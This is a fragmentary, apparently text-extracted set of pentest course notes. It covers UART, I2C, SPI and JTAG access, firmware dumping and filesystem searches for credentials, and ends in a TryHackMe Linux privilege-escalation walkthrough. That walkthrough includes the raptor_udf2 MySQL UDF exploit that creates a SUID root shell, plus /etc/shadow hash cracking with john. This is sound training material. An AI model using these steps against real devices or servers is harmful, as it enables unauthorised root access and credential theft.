Hardware Hacking Update
Hardware Hacking Update
net/publication/377751344
CITATIONS READS
0 200
1 author:
Prasnjit Sharma
Sri Ramakrishna Engineering College
6 PUBLICATIONS 10 CITATIONS
SEE PROFILE
All content following this page was uploaded by Prasnjit Sharma on 28 January 2024.
2. Pentest objectives
• Access debug logs that usually contain a booting sequence
• (might) allow bootloader access while the device is booting
• (might) provide unauthenticated root shell (console access)
• (might) provide loading firmware over the network.
• and more
• Custom bootloaders are designed to prevent from entering single user mode
o but that can also be bypassed.
3. Tools
• Multimeter
• Logic analyzer (for analyzing data packet)
o Saleae Logic Analyzer (or)
o Open Workbench Logic Sniffer
• UART Converter/Adapter (any supported FTDI based hardware)
o USB-TTL (or)
o BusPriate (or)
o Attify Badge
o baudrate.py
• Communication
o minicom (or)
o screen (or)
o Attify Badge GUI
4. Identify UART pinouts
• Look for the shape online to learn
• Visual inspection of the internal device components
o looking for 3/4 pins or pads close to each other
o rarely scattered across the board
• UART pins
PIN FUNCTION
TRANSMIT (TX) Transmits data from the device to the target
RECEIVE (RX) Receives data from the target to the device
GROUND (GND) Ground
VOLTAGE (VCC) Usually either 3.3V or 5V
5. Connecting UART
• A converter device for emulating a serial connection
o to communicate two devices over UART/JTAG/I2C,SPI,GPIO
o USB-TTL or BusPriate or Attify Badge
• A proper voltage converter
o i.e. when using a 3.3v serial device to a 5v serial device
o serial connection emulators have built-in
• Adapter (Attify Badge) pin layout
Pin Function
D0 Tx Transmit
D1 Rx Receive
• Connect the EEPROM pins to the adapter (Attify Badge) by using jumper
wires
UART ADAPTER
TX Rx
RX Tx
GND GND
VCC is NOT connected
6. Command shell
• Baud rate specifies the number of bits transmitted per second
o data being transferred between devices = data rate
• Identify the baud rate of the device
o common rates: 9600, 38400, 19200, 57600, and 115200
o otherwise, find it by trial and error
baudrate.py
2. Tools
• Binwalk firmware analysis tool
o Binwalk is an open-source tool for extracting, analyzing, and reverse-engineering
firmware images
o It scans the image for known file-type signatures
▪ compressed streams
▪ embedded file systems
o Most tools depend on binwalk
• OFRAK (Open Firmware Reverse Analysis Konsole)
• Firmware Analysis Toolkit
• Automated scanner
• Firmwalker
• Binary Analysis Next Generation
• Firmadyne
• Firmware Analysis Comparison Toolkit
• Firmware mod kit
• Angr binary analysis framework
• Frida
• Radare2
• QEMU
3. Firmware update
• Four techniques are common to get firmware
o download the corresponding version of the firmware from the device
manufacturer’s website
o search in Google and check it out in GitHub
o sniff the OTA (over-the-air) to get the firmware binary while the device is
performing an update
o reverse the mobile app to understand how to get the firmware binary
o and dump the firmware from the device’s UART or JTAG or flash chip
• An attacker could intercept firmware when it is downloaded for updating device
o Unencrypted HTTP traffic is intercepted via a transparent proxy (Burp Suite)
o HTTPS traffic can be captured only if it is possible to MitM (arpspoof + mitmproxy +
Burp)
• Firstly, all states that trigger OTA update for device/hub firmware is identified
o In general, device firmware is updated via mobile app
▪ in this case the traffic between smartphone and cloud service is
intercepted
o In addition, hub can trigger OTA update either for itself or for the device
▪ in this case the traffic between hub and cloud service is intercepted
o Moreover, a local update (rather than OTA) via an SD card sometimes is available
▪ this vulnerability is related to attack surface of device physical interface
• If the vendor only transmits update partition,
o although full-firmware is not obtained,
o most probably sensitive data can be accessed
o this will affect severity to a lower level
• Reference
1. https://resources.sei.cmu.edu/library/asset-view.cfm?assetID=453871
5. Filesystem extraction
• Method 1 - Binwalk (automated)
• binwalk -t <firmware-image>
• binwalk -e <firmware-image>
• Method 2 - Firmware mod kit
o set BINWALK in shared-ng.config to the path of binwalk
o copy the firmware inside the firmware-mod-kit/ directory
./extract-firmware.sh <firmware-image-file>
• If binwalk cannot decompress the filesystem using the -e switch, try other alternatives
o Try specific tools, i.e. unsquashfs
o Sometimes files are not stored in a file system but exist as a plain flash binary file
o Firmware may be a proprietary with a modified and unknown file system and
sections
▪ when binwalk generates false positives
▪ manually extract using binwalk (help binwalk by tuning parameters)
o The firmware may be encrypted, confirm this with entropy analysis
▪ when binwalk fails to identify any specific section
binwalk -E <firmware-image>
▪ high entropy with a bit of variation indicates compression
▪ high entropy with flat line indicates encrypted content
▪ need to identify the encryption method and keys
▪ XOR encryption
▪ key is identified by recurring strings
cat encrypted.bin | python decryptxor.py > decrypted.bin
o If it is not possible to extract data, try hardware-based extraction
▪ https://www.youtube.com/watch?v=0G2g-tLMK70
6. Filesystem analysis
• Search for “sensitive” data from firmware
o Hard-coded credentials
▪ that users are unable to change
o Default credentials
▪ that users rarely change
o Backdoor access credentials
▪ that is designed to be used for customer support
o Hash and private certificates
o Encryption algorithms with keys
o API keys and access tokens
o Update or staging URLs
o Local path names and environment details
o Authentication and Authorization mechanisms
o Replace user/password and/or create new password
• Sample search queries
grep -inr 'telnet'
firmware-analysis-toolki/firmwalker.sh <firmware-root-dir>
2. Pentest objectives
• Read (dump) contents (firmware and sensitive data) from a device’s flash chip
• Write (flash) content (such as backdoor firmware image) to the flash chip
3. Tools
• I2C Converter/Adapter (any supported FTDI based hardware)
o USB-TTL (or)
o BusPriate (or)
o Attify Badge
• i2ceeprom.py
5. Connecting EEPROM
• Method 1: SOIC clip
o directly connect it to the adapter by holding the EEPROM using a SOIC clip
• Method 2: Desoldering
o remove the EEPROM from the PCB by de-soldering
o solder it on a EEPROM adapter (or reader)
▪ use an adapter which is suitable for EEPROM packaging type
• SOIC clip vs desoldering
o The memory component on the PCB is accessed using the SOIC clip or by
desoldering.
o Although the SOIC clip approach is more practical and less invasive,
▪ desoldering is sometimes unavoidable.
o The voltage supplied to the memory through the SOIC clip sometimes also powers
other chips.
o Some of the other components on the PCB may attempt to communicate with the
memory,
▪ thus blocking communication between the memory and the external
adapter.
o Therefore, it becomes imperative to remove the memory component from the PCB.
• Adapter (Attify Badge) pin layout
• Note: For I2C, the D1 and D2 lines need to be connected together for SDA.
• Connect the EEPROM pins to the adapter (Attify Badge)
EEPROM ADAPTER
A0, A1, A2, GND GND
VCC 5V
WP 5V (Write Protect)
SDA D1 and D2 of Attify badge
CLK D0 of Attify badge
6. Reading data
• Read data from the device using an I2C EEPROM
• Use the i2ceeprom.py script
• Need to modify parameters (size and speed) before start
7. Writing data
• Write data to the I2C EEPROM
• Use the i2ceeprom.py script
Analyzing SPI (Serial Peripheral Interface)
1. SPI protocol internals
• Designed for synchronous serial communication between the master and slave devices
• Master controls the clock for all the slaves
o fastest serial clock speed in SPI is half the speed of the master clock
• SPI (Serial Peripheral Interface) implementation standard is not strict
o manufacturers design as their wish
• Need to look up the datasheet to understand SPI implementation protocol
• SPI advantages
o Speed is not limited (has faster data transmission rates compared to I2C)
o Full-duplex (both read and write data happens at the same time)
• SPI downside
o Single master protocol
o Consists of 3 pins for data transfer and one pin for Chip/Slave select
▪ increases the overall requirement of space compared to I2C
▪ when there is no data to read, when there is a write request,
▪ the slave should send dummy data to make the connection
established
2. Pentest objectives
• Get console access
o custom bootloaders are designed to prevent from entering single user mode
o but that can also be bypassed
3. Tools
• SPI Converter/Adapter (any supported FTDI based hardware)
o USB-TTL (or)
o BusPriate (or)
o Attify Badge
• spiflash.py
• Master configures the clock frequency according to the slave’s clock frequency
• Master selects the slave device with a logic level 0 on the SS pin
• Master initiates the communication by sending a bit on the MOSI line
o which is read by the slave
o whereas the slave sends a bit on the MISO line which is read by the master
5. Connecting EEPROM
• Method 1: Hooking
o hook mini probes to the SPI flash
• Method 2: SOIC clip
o use a SOIC clip
• Method 3: Desoldering
o remove SPI flash the from the PCB by de-soldering
o solder it on a EEPROM adapter (or reader)
▪ use an adapter which is suitable for EEPROM packaging type
• Adapter (Attify Badge) pin layout
6. Reading data
• Read data from the device using an SPI flash
• Use the spiflash.py script
• /libmpsse
• ./configure
• make
• make install
• spiflash.py -s 5120000 --read=new.bin
7. Writing data
• Write data to the SPI flash
• Use the spiflash.py script
3. Tools
• JTAG pinout identifier
o JTAGulator (or)
o JTAGEnum Arduino
• Communication
o minicom (or)
o screen (or)
o Attify Badge GUI
• JTAG Converter/Adapter (any supported FTDI based hardware)
o USB-TTL (or)
o BusPriate (or)
o Attify Badge (or)
o Segger J-Link
• OpenOCD
• GDB-Multiarch
• Method1: JTAGulator
o open-source hardware
o has 24 I/O channels
o discovers JTAG and UART pinouts
o screen or minicom is used for interaction
o connect relevant pins on target device to the JTAGulator channels
o connect GND to GND
o run a screen with the baudrate (need to identify before)
5. Connecting JTAG
• OpenOCD
o open-source software
o to perform On Chip Debugging via JTAG
o interacts with a hardware debugger’s JTAG port
▪ debug chips
▪ set breakpoints
▪ program and interact flash chips
▪ dump firmware and sensitive data
• Adapter (Attify Badge) pin layout
JTAG ADAPTER
CLK TCK (D0)
TDI TDI (D1)
TDO TDO (D2)
TMS TMS (D3)
o NOTE: The pins functioning as CLK, TDI, TDO, and TMS differs
▪ based on the processor or controller of the target device.
▪ Need to review datasheet
o find the OpenOCD configuration file for the adapter (Attify Badge JTAG)
▪ badge.cfg is available
o find the configuration file for the device
▪ check if the target device’s TAP controller is supported by
OpenOCD
ls openocs/tcl/<target>
6. Read data
• Read data over JTAG
• Method 1
• flash banks
• dump_image firmware.bin 0x08000000 0x00010000
• flash banks
• Method 2
• Identify a pinout for an embedded Multi Media Card (eMMC) flash chip (embedded SD card)
• Unsolder (remove) eMMC from the PCB
• Plug-in eMMC to an adapter
• Dump the contents of the chip after
Access to a Linux distribution (Or WSL) with strings and binwalk on it.
The Cyclical Redundancy Check is used similarly to file hashing to ensure that the file contents were
not corrupted and/or modified in transit.
3.10.3
sudo binwalk -e _FW_WRT1900ACSV2_2.0.3.201002_prod.img.extracted/6870
dd if=/opt/Dumping-Router-
Firmware/_FW_WRT1900ACSV2_2.0.3.201002_prod.img.extracted/600000.jffs2
of=/dev/mtdblock0
Linux PrivEsc
For Linux privEsc we can prefer to tryhackme.com, this lab provide
hands on experience. The same activity can be done with hardware user
console. The exploit used for
Lab SetUp
Step1: Download openvpn
Step2: connect Openvpn with tryhack
me vm.
Services exploit
To check the services running with root access
$ ps aux | grep "^root"
The MySQL service is running as root and the "root" user for the service does not
have a password assigned. We can use a popular exploit that takes advantage of
User Defined Functions (UDFs) to run system commands as root via the MySQL
service.
Change into the /home/user/tools/mysql-udf directory:
cd /home/user/tools/mysql-udf
Compile the raptor_udf2.c exploit code using the following commands:
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -
lc
Connect to the MySQL service as the root user with a blank password:
mysql -u root
Execute the following commands on the MySQL shell to create a User Defined
Function (UDF) "do_system" using our compiled exploit:
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-
udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
Use the function to copy /bin/bash to /tmp/rootbash and set the SUID permission:
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
Exit out of the MySQL shell (type exit or \q and press Enter) and run the
/tmp/rootbash executable with -p to gain a shell running with root privileges:
/tmp/rootbash -p
Remember to remove the /tmp/rootbash executable and exit out of the root shell
before continuing as you will create this file again later in the room!
rm /tmp/rootbash
exit
Weak File Permissions
- Readable /etc/shadow
The /etc/shadow file contains user password hashes and is usually readable only by the root
user. Copy the hash file and paste it in the text file.
$6$C92IlnRwkuXt15/w$pJhypmBJrer3hNpsSFuuGZeH9eI/tVTzYnqnfZNjgWawGKm5p
YmP/.TAhX5sYaiSKEzXURTWxdqxVZXBrrlGg1
Create a common password list and perform attack using the tool like
john --wordlist ./passlist.txt hash.txt